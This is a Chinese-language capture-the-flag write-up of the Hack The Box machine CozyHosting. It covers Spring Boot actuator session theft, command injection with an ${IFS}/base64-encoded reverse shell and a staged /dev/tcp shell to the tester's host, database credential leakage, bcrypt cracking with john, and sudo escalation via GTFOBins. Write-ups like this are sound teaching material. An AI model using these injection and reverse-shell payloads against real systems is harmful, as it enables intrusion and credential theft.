CozyHosting

前言:抓紧赛季末上一波分,错过开vip才能练了

信息收集

扫描看看端口的开放情况,开了22,80,5555。这里fscan显示会跳转到cozyhosting.htb

那就需要修改hosts文件,将cozyhoting.htb解析到ip即可访问到80端口的站点:

目录探测

用dirsearch发现泄露了/actuator目录,那应该就是使用的springboot框架。

敏感信息泄露

首先去访问/actuator/env。如下很多信息都被*号脱敏,尝试通过/actuator/heapdump或者heapdump去下载JVM堆栈信息但都失败了。

但是在访问到/actuator/sessions的时候发现了cookie。

抓包改两次JSESSIONID也行,但用插件修改cookie登录上去更快一些。

进入后台的面板,里面有一个貌似可以执行ssh命令的地方,那就有大概率存在命令注入。

命令注入

base64绕过

抓包,尝试一下。出现错误会返回ssh的命令帮助。

经过几种尝试发现这样可以执行命令:

直接使用反弹shell的语句他提示不能包含空格,url编码也不行。

绕过空格就用${IFS}替换变量,再经过一次url编码,但还是不成。

尝试用base64编码之后再执行可以成功反弹shell。

;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvOTk5OSAwPiYx"|base64${IFS}-d|bash;`

分段反向shell

然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。

;`(sh)0>/dev/tcp/10.10.14.21/9999`

之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。

exec >&0

最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。

script /dev/null -c bash

最后成功反弹shell.

反编译jar包

基础的信息收集完之后没有发现有其他网段,当前目录下没有user flag但是有一个jar包,发现有python环境就直接下载下来。

将jar包放到一个目录下,创建一个用来存放反编译后的文件的目录。之后找到java-decompiler.jar的位置,使用高版本的jdk去执行如下:

 C:\Users\admin\.jdks\openjdk-20.0.2\bin\java.exe -cp "D:\software\jetbrains\apps\IDEA-U\ch-0\232.8660.185\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cloudhosting-0.0.1.jar .\cloudhosting\

敏感信息泄露

在设置的目录里面解压那个jar包,在idea中打开搜索一些关键字,找找配置文件,就翻到了数据库的连接账号和密码。这里还可以看到他使用的是cozyhosting这个库。

连接postgres

可以看到postgres的服务是开着的。

连接上数据库,列出的有两个表格一个host和一个user,显然要关注user表,查询得到的加密字符串一眼bcrypt。

app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help. cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows) (END)q
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue name | password | role -----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows) (END)q
cozyhosting=#
cozyhosting=#

密码破解

想先爆破一下kanderson用户的但是出不来,想了想有可能是个测试用户,在idea中去搜索关键字找到了他的密码。

接着对admin进行破解,得到密文:manchesterunited

┌──(root㉿Lockly)-[/mnt/c/Users/admin]
└─# john -w=/usr/share/wordlists/rockyou.txt admin
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:19 DONE (2023-09-11 16:00) 0.05141g/s 144.3p/s 144.3c/s 144.3C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh连接

直接连ssh失败了,密码一个个敲了三遍都是错的。可能不是这个用户的。

回去看一下/etc/passwd,发现这台机器里面的用户有app, josh, postgres和root。

用josh连接成功,在当前目录下就有user flag。

提权

linpease探测

上传linpease搜集一些信息,发现sudo有suid滥用

suid滥用提权

直接去gtfobins上面找到命令提权。

root flag在/root目录下面,flag都到手了完结撒花。

HTB - CozyHosting - WriteUp的更多相关文章

  1. {黑掉这个盒子} \\ FluxCapacitor Write-Up

    源标题:{Hack the Box} \ FluxCapacitor Write-Up 标签(空格分隔): CTF   好孩子们.今天我们将学习耐心和情绪管理的优点.并且也许有一些关于绕过WEB应用防 ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  4. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  5. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  6. 使用 IMQ+HTB+iptable 统一流量控制心得

    IMQ 是中介队列设备的简称,是一个虚拟的网卡设备,与物理网卡不同的是,通过它可以进行全局的流量整形,不需要一个网卡一个网卡地限速.这对有多个ISP接入的情况特别方便.配合 Iptables,可以非常 ...

  7. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  8. Optimizing shaper — hashing filters (HTB)

    I have a very nice shaper in my linux box :-) How the configurator works — it’s another question, he ...

  9. TC HTB r2q

    HTB: quantum of class 10001 is big. Consider r2q change. 根据HTB的官方文档显示,quantum是在可以“借”的情况下,一次可以“借”多少,并 ...

  10. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

随机推荐

  1. apollo多环境部署

    一.环境准备 jdk : 1.8+         mysql  5.6.5+ 二.安装包下载 https://github.com/ctripcorp/apollo/releases 下载如下三个压 ...

  2. solidity入门

    1. solidity 简介 Solidity(中文名称:Solidity 语言)是一种面向智能合约(Smart Contracts)的高级编程语言,最初由以太坊(Ethereum)的团队开发并用于以 ...

  3. 如何基于three.js(webgl)引擎架构,研发一套通过配置就能自动生成的3D机房系统

    序: 这几年观察下来,大部分做物联网三维可视化解决方案的企业或个人, 基本都绕不开3D机房.包括前面也讲过这样的案例<使用webgl(three.js)创建自动化抽象化3D机房,3D机房模块详细 ...

  4. Net 高级调试之二:CLR和Windows加载器及应用程序域介绍

    一.简介 今天是 Net 高级调试的第二篇文章,第一篇文章记录了自己学习 Net 高级调试的第一步,认识一些调试工具,有了工具的倚仗,我们开始仗剑走天涯了,开始Net 高级调试正式的征程了.我先说一下 ...

  5. 18. 从零开始编写一个类nginx工具, 主动式健康检查源码实现

    wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...

  6. 后缀自动机 (SAM) 的构造及应用

    cnblogs 怎么又炸了. 为什么又可爱又强的 xxn 去年 9 月就会的科技樱雪喵现在还不会呢 /kel. 感觉 SAM 的教程已经被前人写烂了啊.那就写点个人学习过程中对 SAM 的理解. 参考 ...

  7. JS深入之内存详解,数据结构,存储方式

    理解了本文,就知道深拷贝和浅拷贝的底层,了解赋值的底层原理. 可以结合另一篇文章一起食用:深拷贝与浅拷贝的区别,实现深拷贝的方法介绍. 以下是正文: 栈数据结构 栈的结构就是后进先出(LIFO),如果 ...

  8. JUC并发编程学习(五)集合类不安全

    集合类不安全 List不安全 单线程情况下集合类和很多其他的类都是安全的,因为同一时间只有一个线程在对他们进行修改,但是如果是多线程情况下,那么集合类就不一定是安全的,可能会出现一条线程正在修改的同时 ...

  9. 基于AStyle的代码格式化脚本 [已开源]

    这是一个简单的windows端脚本 主要用于C/C++代码的格式化 可以添加到鼠标右键,直接在.C/.H文件上右键格式化代码 具体开源地址 https://gitee.com/svchao/code_ ...

  10. 理解Go中的零值

    在 Go 语言中,零值(Zero Value)是指在声明变量但没有显式赋值的情况下,变量会被自动赋予一个默认值.这个默认值取决于变量的类型,不同类型的变量会有不同的零值.零值是 Go 语言中的一个重要 ...